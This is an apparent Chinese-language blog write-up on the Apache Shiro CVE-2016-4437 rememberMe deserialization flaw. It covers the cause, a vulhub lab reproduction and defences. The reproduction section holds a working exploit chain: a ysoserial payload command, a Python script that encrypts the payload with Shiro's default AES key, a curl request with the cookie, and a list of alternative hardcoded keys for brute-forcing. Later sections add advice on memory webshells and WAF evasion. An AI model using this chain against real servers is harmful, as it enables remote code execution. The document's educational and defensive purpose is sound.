Apache Shiro反序列化漏洞CVE-2016-4437原理、复现与防御
2026/8/8 2:19:11 网站建设 项目流程

1. 从一次内部渗透测试的“意外”发现说起

那次内部红蓝对抗演练,我负责对一套新上线的Java Web应用进行安全评估。目标系统使用了Spring MVC框架,登录模块看起来平平无奇。常规的SQL注入、XSS测试都无功而返,就在我准备转向其他方向时,Burp Suite抓取到的一个请求引起了我的注意。在登录请求的响应头里,明晃晃地躺着一个Set-Cookie: rememberMe=deleteMe。这个rememberMe字段,对于熟悉Apache Shiro框架的人来说,就像黑夜里的灯塔。我立刻意识到,这套系统很可能使用了Shiro作为其安全框架,而那个deleteMe值,通常意味着“记住我”功能被启用,但当前请求并未携带有效的rememberMe cookie。这个发现让我精神一振,因为Shiro框架在1.2.4及以前版本中,存在一个影响深远的反序列化漏洞,编号CVE-2016-4437。这个漏洞的利用链成熟,危害极大,可以直接导致远程代码执行。接下来的几个小时,我完整复现并深入分析了这个漏洞,今天就把这次“实战”过程中的技术细节、踩坑经验和原理剖析,毫无保留地分享出来。

简单来说,CVE-2016-4437漏洞的核心在于,Apache Shiro框架在处理“记住我”功能时,对用户提供的rememberMe cookie值进行了反序列化操作,并且使用了硬编码的默认密钥进行AES解密。攻击者可以构造一个恶意的序列化对象,使用这个已知密钥加密后,作为cookie发送给服务器。Shiro服务器会解密并反序列化这个对象,从而触发恶意代码执行。这个漏洞之所以经典,是因为它完美诠释了“功能便利性”与“安全性”之间的冲突,以及“默认不安全”的安全设计反模式。无论你是安全研究人员、渗透测试工程师,还是Java后端开发者,理解这个漏洞的来龙去脉,对于提升安全编码意识和防御能力都至关重要。

2. 漏洞原理深度拆解:为什么“记住我”变成了“记住攻击者”

要理解CVE-2016-4437,我们必须深入到Shiro框架处理用户会话和“记住我”功能的内部机制中去。这不仅仅是知道一个利用工具怎么用,更要明白每一步操作背后Shiro在做什么,以及它为什么会这么做。

2.1 Shiro的会话管理与RememberMe功能设计

Apache Shiro是一个功能强大且易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。其中,RememberMe功能允许用户在关闭浏览器后,下次访问时无需再次输入用户名密码即可自动登录,这极大地提升了用户体验。

Shiro实现此功能的逻辑大致如下:

  1. 用户成功登录并勾选“记住我”。
  2. Shiro将用户的身份信息(Principal)序列化成Java对象。
  3. 使用一个密钥(cipherKey)对这个序列化后的字节数组进行AES加密。
  4. 将加密后的数据经过Base64编码,设置为一个名为rememberMe的Cookie,返回给浏览器。
  5. 用户下次访问时,浏览器会自动带上这个Cookie。
  6. Shiro接收到Cookie后,反向操作:Base64解码 -> AES解密 -> 反序列化Java对象 -> 恢复用户身份,实现自动登录。

这个流程本身是合理的。问题的关键在于密钥反序列化的安全性

2.2 致命缺陷一:硬编码的默认密钥

在Shiro 1.2.4及之前版本中,用于AES加密解密的密钥cipherKey硬编码在源代码中的。具体位置在org.apache.shiro.mgt.AbstractRememberMeManager类中:

public abstract class AbstractRememberMeManager implements RememberMeManager { private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="); private Serializer serializer = new DefaultSerializer(); private CipherService cipherService = new AesCipherService(); private byte[] encryptionCipherKey; private byte[] decryptionCipherKey; public AbstractRememberMeManager() { setCipherKey(DEFAULT_CIPHER_KEY_BYTES); // 使用默认密钥 } // ... 其他代码 }

kPH+bIxk5D2deZiIxcaaaA==这个Base64编码的字符串,就是全球所有使用默认配置的Shiro应用共享的“万能钥匙”。这意味着,攻击者无需知道目标应用的任何特定信息,只要知道它使用了默认配置的Shiro,就可以用这把钥匙去加密任何他想让服务器反序列化的数据。

注意:很多开发者在引入Shiro时,可能只是按照快速入门文档配置,并未意识到需要修改这个密钥。这种“开箱即用”但“默认不安全”的设计,是很多安全问题的根源。

2.3 致命缺陷二:不安全的反序列化入口

第二个关键问题是DefaultSerializer类。它使用了Java原生的ObjectInputStream来反序列化数据。

public class DefaultSerializer implements Serializer { @Override public Object deserialize(byte[] serialized) throws SerializationException { // ... try { ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(serialized)); return ois.readObject(); // 危险的反序列化调用 } catch (Exception e) { throw new SerializationException(...); } } }

Java原生的ObjectInputStream.readObject()方法在反序列化时,会尝试根据字节流中的类描述符去实例化对应的类。如果这个类实现了Serializable接口,并且其readObject方法或构造器、getter/setter方法中存在可被利用的逻辑,就可能执行任意代码。

2.4 漏洞触发链串联

现在,我们可以把整个攻击链条串联起来:

  1. 攻击者准备Payload:攻击者构造一个恶意的Java对象(例如,利用Apache Commons Collections库中的Transformer链,简称CC链),该对象在反序列化时会执行系统命令。
  2. 加密Payload:攻击者使用Shiro公开的默认AES密钥,对这个恶意序列化对象进行加密,然后做Base64编码。
  3. 发送请求:攻击者向目标Shiro应用发送一个HTTP请求,并在Cookie头中携带rememberMe=[加密后的Base64字符串]
  4. 服务器中招
    • Shiro的RememberMeManager检测到rememberMeCookie。
    • 对其进行Base64解码。
    • 使用硬编码的默认密钥进行AES解密,得到原始的恶意序列化字节流。
    • 调用DefaultSerializer.deserialize(),进而触发ObjectInputStream.readObject()
    • 恶意对象的反序列化过程被触发,嵌入其中的命令执行代码得以运行,攻击者成功在服务器上执行了任意命令。

这个漏洞的利用条件非常宽松:目标系统使用Shiro <= 1.2.4,且未修改默认密钥。在漏洞刚被公开的那段时间,这几乎是一个“通杀”型的漏洞。

3. 漏洞复现环境搭建与手工利用剖析

理解了原理,我们通过亲手搭建靶场和尝试手工利用来加深印象。我推荐使用vulhub这个开源漏洞靶场环境,它集成了大量漏洞的docker镜像,一键搭建,非常方便。

3.1 靶场环境搭建

首先,确保你的机器上安装了Docker和Docker Compose。

# 1. 拉取vulhub项目 git clone https://github.com/vulhub/vulhub.git cd vulhub/shiro/CVE-2016-4437 # 2. 启动靶场 docker-compose up -d

执行成功后,访问http://your-ip:8080,你会看到一个带有登录页面的简单Web应用。使用任意用户名密码(如 admin/admin)登录,观察Burp Suite或浏览器开发者工具,你会在响应中看到Set-Cookie: rememberMe=deleteMe,这确认了Shiro的存在和RememberMe功能的启用。

3.2 手工利用尝试与关键问题排查

网上有很多自动化工具(如shiro_attack、shiro-exploit)可以一键利用,但作为学习者,我们尝试更深入地理解过程。手工利用的核心是生成一个加密后的恶意rememberMe Cookie。

步骤1:生成恶意序列化数据我们需要一个能在目标服务器上触发命令执行的序列化对象。通常使用Apache Commons Collections 3.2.1(CC3)或Commons Collections 4.0(CC4)的利用链。这里以CC3为例,我们可以使用ysoserial工具生成Payload。

# 使用ysoserial生成一个执行`touch /tmp/success`的Payload java -jar ysoserial.jar CommonsCollections5 "touch /tmp/success" > payload.bin

步骤2:使用Shiro默认密钥加密这是最关键的一步。我们需要模拟Shiro的加密过程:AES-128-CBC模式,PKCS5Padding填充,IV(初始化向量)为全零。我们需要编写一个简单的Java或Python程序来完成这个加密。以下是一个Python示例(需要安装pycryptodome库):

import base64 import uuid from Crypto.Cipher import AES from Crypto.Util.Padding import pad def shiro_encrypt(payload_bytes): # Shiro默认密钥 key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") # AES CBC模式,IV为16字节的0 iv = bytes([0] * 16) cipher = AES.new(key, AES.MODE_CBC, iv) # 加密并填充 encrypted = cipher.encrypt(pad(payload_bytes, AES.block_size)) # Base64编码 return base64.b64encode(encrypted).decode() # 读取ysoserial生成的payload with open('payload.bin', 'rb') as f: payload = f.read() rememberMe_cookie = shiro_encrypt(payload) print(f"rememberMe={rememberMe_cookie}")

运行这段代码,你会得到一个长长的Base64字符串,这就是我们的恶意Cookie值。

步骤3:发送请求并验证使用curl或Burp Suite Repeater发送一个携带此Cookie的请求。

curl -v http://your-ip:8080/ -H "Cookie: rememberMe=生成的Base64字符串"

发送后,我们如何验证命令是否执行成功?由于我们的命令是touch /tmp/success,需要进入靶场容器内部查看。

# 查看运行的docker容器 docker ps # 进入shiro靶场的容器(容器名类似 vulhub_shiro_1) docker exec -it <container_id> /bin/bash # 检查文件是否创建 ls -la /tmp/success

如果文件成功创建,则证明漏洞利用成功。

实操心得与常见坑点

  1. Payload兼容性问题:不同版本的Java环境、不同的中间件(Tomcat, JBoss等),对反序列化利用链的兼容性不同。CC链(CommonsCollectionsX)有很多变种(如1, 3, 5, 6, 7)。如果一种链不成功,需要换另一种尝试。在vulhub的Shiro靶场中,CommonsCollections5CommonsCollections7通常成功率较高。
  2. 密钥并非唯一:虽然kPH+bIxk5D2deZiIxcaaaA==是最著名的默认密钥,但Shiro的源码中其实有多个硬编码密钥。一些开发者或框架集成者可能会修改源码中的这个常量,导致使用默认密钥攻击失败。因此,在实际渗透测试中,需要准备一个密钥字典进行爆破。常见的密钥还有4AvVhmFLUs0KTA3Kprsdag==,Z3VucwAAAAAAAAAAAAAAAA==,fCq+/xW488hMTCD+cmJ3aQ==等。
  3. 无回显利用:上面演示的是执行一个创建文件的命令,这属于“有回显”的验证方式(通过进入容器查看文件)。但在真实黑盒测试中,我们无法登录服务器。此时需要采用**无回显(回连)**的利用方式。例如,可以构造Payload让服务器向我们控制的DNS服务器发起解析请求(DNSLog),或者向我们的监听端口发起HTTP请求,从而证明漏洞存在。这需要用到更复杂的Payload生成技术,例如使用URLClassLoader加载远程恶意类,或者使用内存马(如Tomcat Filter/Servlet内存马)注入。

4. 漏洞修复方案与根治性防御思路

复现和分析漏洞的最终目的,是为了更好地修复和防御。对于CVE-2016-4437,修复方案是明确的,但更深层次的,是建立防御反序列化攻击的体系化思路。

4.1 官方修复与紧急缓解措施

Apache Shiro官方在1.2.5版本中修复了此漏洞。修复方案主要包括:

  1. 移除默认密钥AbstractRememberMeManager的构造函数不再设置默认密钥。如果用户不主动配置cipherKey,RememberMe功能将无法使用。这强制开发者必须自己生成并配置一个安全的密钥。
  2. 提供生成安全密钥的工具:官方建议使用org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()方法来生成随机的、足够强度的密钥。

对于无法立即升级版本的系统,可以采取以下紧急缓解措施:

  • 修改默认密钥:在Shiro的配置文件(如shiro.ini或 Spring配置Bean)中,显式地设置一个自己生成的、强随机密钥。
    # shiro.ini 示例 securityManager.rememberMeManager.cipherKey = your_strong_base64_encoded_key_here
    // Spring Bean配置示例 @Bean public RememberMeManager rememberMeManager() { CookieRememberMeManager manager = new CookieRememberMeManager(); byte[] cipherKey = Base64.decode("你自己生成的强密钥Base64字符串"); manager.setCipherKey(cipherKey); return manager; }
  • 禁用RememberMe功能:如果业务不需要此功能,最彻底的方式是直接禁用它。
    // 在Shiro配置中不设置rememberMeManager,或使用空实现

4.2 根治性防御:构建反序列化攻击的免疫系统

仅仅修复这个CVE是远远不够的。反序列化漏洞是Java安全领域的“常青树”,从WebLogic、Fastjson到各种RPC框架,层出不穷。我们需要从架构和编码层面建立纵深防御。

  1. 输入可信边界管控永远不要反序列化不可信的数据。这是黄金法则。RememberMe Cookie、RPC参数、文件上传、网络传输的数据,在进入反序列化函数之前,必须经过严格的白名单校验。对于Shiro的RememberMe,可以考虑使用JWT等无状态、可验证的令牌替代原生序列化。
  2. 使用安全的序列化替代方案:弃用Java原生序列化。考虑使用JSON(如Jackson、Gson)、XML、Protocol Buffers、MessagePack、Hessian(需注意Hessian自身也有反序列化问题)等更安全、更高效、更跨语言的序列化方案。这些方案通常不直接关联到可执行的类加载行为。
  3. 反序列化过滤器(JEP 290):对于必须使用Java原生序列化的场景(如RMI),在JDK 9+中,可以利用JEP 290机制,通过设置java.io.ObjectInputFilter来定义反序列化的类白名单或黑名单、数组大小、深度、引用数量等限制。这是JDK层面提供的最重要的防御手段。
    // 示例:设置一个简单的过滤器 ObjectInputFilter filter = ObjectInputFilter.Config.createFilter("maxdepth=5;maxarray=1000;!com.example.exploit.*"); // 在反序列化前应用过滤器
  4. 依赖库安全管理:定期扫描和更新项目依赖,避免使用已知包含危险可序列化类(如旧版本Apache Commons Collections)的库。如果必须使用,可以考虑使用“安全化”的版本,或者通过Java Agent技术在运行时移除或封印危险的类和方法。
  5. 最小权限原则运行:运行Java应用的账户应遵循最小权限原则,避免使用root或管理员权限。这样即使被攻破,攻击者能造成的破坏也相对有限。
  6. 代码审计与组件升级:将反序列化操作点(如readObject,readResolve,readExternal)作为代码审计的重点。保持Shiro等安全框架、序列化库(Jackson, Fastjson)以及JDK本身更新到最新版本。

5. 从Shiro到更广阔的反序列化漏洞狩猎

掌握了CVE-2016-4437的分析方法,你就获得了一把打开反序列化漏洞大门的钥匙。在实战中,你需要将这种分析思路扩展到更广泛的场景。

第一步:识别反序列化入口点不仅仅是Shiro的Cookie。以下都是常见的反序列化入口:

  • HTTP参数:特别是POST Body中的多层嵌套参数,某些框架(如Fastjson)会尝试自动反序列化。
  • RPC框架:Dubbo、gRPC、Thrift的接口参数。
  • 消息队列:Kafka、RocketMQ消息体。
  • 缓存:Redis存储的Value(如果使用Java原生序列化)。
  • 文件上传:上传的配置文件、模板文件。
  • JMX端口:Java管理扩展端口。

第二步:构造与利用你需要一个强大的“武器库”:

  • ysoserial:经典的反序列化利用链生成工具,支持数十种Gadget链(CC, Jdk7u21, Jdk8u20, CommonsBeanutils, Hibernate等)。
  • marshalsec:专注于生成针对其他序列化协议(如Hessian, Jackson, XStream)的Payload。
  • JNDI注入利用:很多反序列化漏洞的最终目标是触发JNDI查找,注入恶意的RMI/LDAP服务地址。需要搭建恶意的RMI/LDAP服务器(如marshalsec工具也提供此功能)。
  • 内存马生成:对于Web应用,获得RCE后,注入一个持久化的内存Webshell(Filter/Servlet/Controller内存马)比执行单次命令更有价值。

第三步:绕过与对抗现代应用和JDK版本增加了越来越多的防御措施:

  • 高版本JDK(8u191+)对JNDI注入的限制:限制了从远程代码库加载类。需要寻找新的绕过方式,如利用本地ClassPath中的类(Tomcat ELProcessor, Groovy)进行二次利用。
  • WAF/IDS规则:会对常见的序列化魔术头(AC ED 00 05, Java原生序列化流)和利用链特征进行检测。需要尝试编码、加密、拆分等手段进行混淆。
  • 不出网利用:目标服务器无法访问外网时,需要构造能在本地执行并回显结果的Payload,这对利用链的构造提出了更高要求。

CVE-2016-4437作为一个里程碑式的漏洞,其价值不仅在于它自身的影响,更在于它为我们提供了一个绝佳的分析样本。从密钥硬编码到不安全的反序列化,从漏洞复现到深入原理,再到防御体系的构建,这条学习路径适用于绝大多数安全漏洞的研究。在实战中遇到类似问题,不妨回想一下分析Shiro漏洞的这套方法:定位入口、理解机制、构造利用、思考防御。这才是从一个漏洞的“利用者”成长为“研究者”和“防御者”的关键。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询